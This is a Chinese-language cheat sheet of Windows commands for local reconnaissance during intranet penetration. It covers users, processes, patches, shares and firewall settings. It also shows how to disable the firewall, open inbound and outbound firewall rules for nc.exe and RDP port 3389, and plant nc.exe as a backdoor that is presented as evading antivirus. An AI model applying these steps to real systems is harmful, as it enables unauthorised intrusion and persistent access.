1.本机信息收集
• 查询网络配置 ipconfig /all
• 查询用户列表
net user 查看本机用户列表
net localgroup administrator 本机管理员(通常含有域用户)
query user ||qwinsta 查看当前在线用户
• 查询进程列表
tasklist /v
wmic process list brief
• 查询操作系统及安装软件版本信息
获取操作系统和版本信息
systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本“
查看安装软件以及版本,路径等
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
• 查询端口列表
netstat -ano
• 查询补丁列表
Systeminfo
wmic qfe get description,installedOn
• 查询本机共享
net share
wmic share get name,path,status
• 查询防火墙配置
关闭防火墙
A.Windows Server 2003系统及之前版本
netsh firewall set opmode disable
B.Windows Server 2003之后系统版本
netsh advfirewall set allprofiles state off
• 查看防火墙配置
netsh firewall show config
自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
• 查询防火墙相关配置
• 修改防火墙配置
• A. Windows Server 2003系统及之前版本,允许指定程序全部连接
• netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
• B. Windows Server 2003之后系统版本
• 允许指定程序连入
• netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
• 允许指定程序连出
• netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
• C. 允许3389端口放行 • netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
注:nc.exe是一个很好用的远程连接工具,在内网渗透过程如果使用其他木马程序,很可能被杀毒软件发现,如果使用nc就不会被杀掉,起到免杀的作用,可以作为后门程序,放入目标服务器当中